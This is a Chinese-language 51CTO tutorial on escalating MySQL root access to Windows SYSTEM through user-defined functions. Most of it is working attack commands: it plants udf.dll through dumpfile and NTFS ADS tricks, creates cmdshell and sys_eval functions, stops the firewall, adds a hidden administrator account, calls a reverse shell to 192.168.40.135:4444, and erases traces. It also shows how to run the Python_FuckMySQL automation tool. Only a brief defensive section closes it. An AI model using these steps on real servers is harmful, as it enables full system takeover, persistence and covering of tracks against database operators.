【51CTO.com原創稿件】UDF提權是利用MySQL的自定義函數功能，將MySQL賬號轉化為系統system權限，其利用條件是目標系統是Windows(Win2000,XP,Win2003)；擁有MySQL的某個用戶賬號，此賬號必須有對MySQL的insert和delete權限以創建和拋棄函數；有root賬號密碼。網上有很多公開的利用程序，下面通過一個實例來介紹MySQL數據庫如何利用Udf進行提權。

注：本文是筆者撰寫的Mysql安全系列文章的第三篇。

第一篇為《關系型數據庫管理系統MySQL提權基礎》；

第二篇為《MySQL數據庫反彈端口連接提權》。

一、UDF函數簡介

1.UDF介紹

UDF(user-defined function)是MySQL的一個拓展接口，也可稱之為用戶自定義函數，它是用來拓展MySQL的技術手段，可以說是數據庫功能的一種擴展，用戶通過自定義函數來實現在MySQL中無法方便實現的功能，其添加的新函數都可以在SQL語句中調用，就像本機函數如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數定義請參考（http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html），除了常見的UDF提權外，其實Udf還有更多更廣泛的應用，例如https://github.com/mysqludf/repositories，就提供了非常多的應用：

lib_mysqludf_fPROJ4：一組擴展的科學函數，將地理經度和緯度坐標轉換為笛卡爾坐標，反之亦然。

lib_mysqludf_json：用于將關系數據映射到JSON格式的函數的UDF庫。

lib_mysqludf_log：用于將調試信息寫入日志文件的UDF庫。

lib_mysqludf_preg：直接在MySQL中使用PCRE正則表達式

lib_mysqludf_stat：用于統計分析的UDF庫。

lib_mysqludf_str：一個帶有MySQL附加字符串函數的UDF庫

lib_mysqludf_sys：具有與操作系統交互的功能的UDF庫。這些函數允許您與MySQL運行的執行環境進行交互。

lib_mysqludf_xml：一個UDF庫，用于直接從MySQL創建XML輸出。

有三種方法向MySQL添加新函數。

(1)可以通過用戶定義的函數(UDF)接口添加函數。用戶定義的函數被編譯為庫文件，然后使用CREATE FUNCTION和DROP FUNCTION語句動態添加到服務器或從服務器中刪除。

(2)可以將函數添加為本機(內置)MySQL函數。本機函數被編譯到 mysqld服務器并永久可用。

(3)添加函數的另一種方法是創建存儲的函數。這些是使用SQL語句編寫的，而不是通過編譯目標代碼。

二、Windows下UDF提權的條件和方法

Windows下UDF提權對于Windows2008以下服務器比較適用，也即針對Windows2000、Windows2003的成功率較高。

1. UDF提權條件

(1)Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32，在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數，一般以root賬號為佳，具備root賬號所具備的權限的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的權限。

2.提權方法

(1)獲取數據庫版本、數據位置以及插件位置等信息

select version();//獲取數據庫版本 
select user();//獲取數據庫用戶 
select @@basedir ;//獲取安裝目錄 
show variables like '%plugins%'; //尋找mysql安裝路徑 

(2)導出路徑

C:\Winnt\udf.dll Windows 2000 
C:\Windows\udf.dll Windows2003(有的系統被轉義，需要改為C:Windowsudf.dll) 

MYSQL 5.1以上版本，必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的，這就需要我們使用webshell找到MYSQL的安裝目錄，并在安裝目錄下創建libplugin文件夾，然后將udf.dll文件導出到該目錄即可。

在某些情況下，我們會遇到Can't open shared library的情況，這時就需要我們把udf.dll導出到lib\plugin目錄下才可以，網上大牛發現利用NTFS ADS流來創建文件夾的方法：

select @@basedir; //查找到mysql的目錄 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 

執行成功以后就會plugin目錄，然后再進行導出udf.dll即可。

(3)創建cmdshell 函數，該函數叫什么名字在后續中則使用該函數進行查詢：

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

(4)執行命令：

select sys_eval(‘whoami’); 

一般情況下不會出現創建不成功哦。

連不上3389可以先停止windows防火墻和篩選

select sys_eval(‘net stop policyagent’); 
select sys_eval(‘net stop sharedaccess’); 

udf.dll下常見函數：

cmdshell 執行cmd;

downloader 下載者,到網上下載指定文件并保存到指定目錄;

open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread 讀注冊表;

regwrite 寫注冊表;

shut 關機,注銷,重啟;

about 說明與幫助函數;

具體用戶示例：

select cmdshell('net user iis_user 123!@#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
select cmdshell('netstat -an'); 

(5)清除痕跡

drop function cmdshell;// 將函數刪除 

刪除udf.dll文件以及其它相關入侵文件及日志。

(6)常見錯誤

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
 
SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中注銷 (使用#號) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option，需要將my.ini中的skip-grant-tables選項去掉。

三、一個提權實例

1.設置Mysql提權腳本文件

將Mysql提權腳本文件上傳到服務器上，運行后，需要對IP地址、UID、passwod、db進行配置，如圖1所示，IP地址一般可以設置為localhost、127.0.0.1以及真實IP地址，uid默認為root，其它具有root用戶權限的用戶名稱也可以，pwd為具有root權限用戶的密碼，db默認選擇mysql，單擊提交查詢內容進行連接測試。

設置Mysql提交腳本文件

2.進行連接測試

連接成功后，會給出相應的提示信息，如圖2所示，給出用戶，數據庫，數據目錄(datadir)，基本目錄(basedir)，版本，插件路徑，mysql函數等信息。

連接測試

3.創建“shell”函數

單擊“Dump UDF” 將UDF.DLL文件導出到默認的插件目錄下，然后再運行“Create Function”將創建“shell”函數。如圖3所示，如果前面已經創建過shell函數，則會提示系統中已經存在“shell”函數 。

創建“shell”函數

4.查看用戶

在查詢窗口中輸入“select shell('cmd','net user')”查看系統所有的用戶，如圖4所示，可以正常查看系統的所有用戶信息。

查看用戶

5.創建具有管理員權限的用戶

分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并執行該查詢命令，如果執行成功，則表示在系統中添加“temp”用戶，密碼為“temp123456”，同時將該用戶添加到管理員組中，使其具備管理員權限，執行成功后如圖5，圖6所示。

添加temp用戶

將用戶temp添加到管理員組

6.提權成功

在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功，如圖7所示，查詢結果表明已經將temp用戶添加到管理員組中。

查看管理員用戶

目前對于一些網站來說，一般都會提供遠程終端服務，只要用戶添加成功，則可以直接登錄該服務器，如圖8所示，輸入用戶名和密碼，成功進入該服務器，至此通過mysql的root用戶成功提權。

圖8成功進入服務器

四、其它提權工具

v5est0r 寫了一個Mysql提權綜合利用工具，詳細情況請參考其代碼共享網站：https://github.com/v5est0r/Python_FuckMySQL其主要功能有：

1.自動導出你的backdoor和mof文件

2.自動判斷mysql版本，根據版本不同導出UDF的DLL到不同目錄，UDF提權

3.導出LPK.dll文件，劫持系統目錄提權

4.寫啟動項提權

UdF自動提權：

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK劫持提權：

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動項提權：

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

例如通過LOAD_FILE來查看Mysql配置文件my.ini，如果其中配置了skip-grant-tables，這無法進行提權，如圖9所示。

LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 

查看mysql數據庫配置文件內容

五、UDF提權總結與防范

目前安裝的Mysql數據庫版本基本是高于5.1版本，通過Mysql查詢可以導出udf.dll但由于mysql中my.ini文件的配置，有可能會導致無法創建自定義函數。這時候就需要修改my.ini進行重啟。

1.提權總結

(1)有webshell的提權

如果獲取了webshell則比較簡單，目前有很多Mysql提權的PHP腳本，可以比較快速的進行提權，在此不贅述。

(2)無webshell的提權

select version(); //獲取mysql版本 
 
select @@basedir; //查找到mysql的目錄 
 
SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置 

通過查詢將udf.dll轉成代碼插入數據庫，然后導出

use mysql; 
 
set @a=concat('',0x代碼); 
 
create table Ghost(data LONGBLOB); 
 
insert into Ghost values("");update Ghost set data = @a; 
 
代碼為select hex(load_file('c:/udf.dll'))中的內容 
 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導出ufd.dll 
 
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創建函數 
 
select backshell("192.168.40.135",4444); 

(3)使用Python_FuckMySQL工具進行自動提權

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 
 
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 
 
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

2.安全防范方法

(1)盡量避免提供對外鏈接，通過mysql中的user表進行查看，禁用“%”。

(2)設置復雜的Root賬號密碼。

(3)對my.ini設置只讀屬性，設置plugin目錄為只讀目錄。

【51CTO原創稿件，合作站點轉載請注明原文作者和出處為51CTO.com】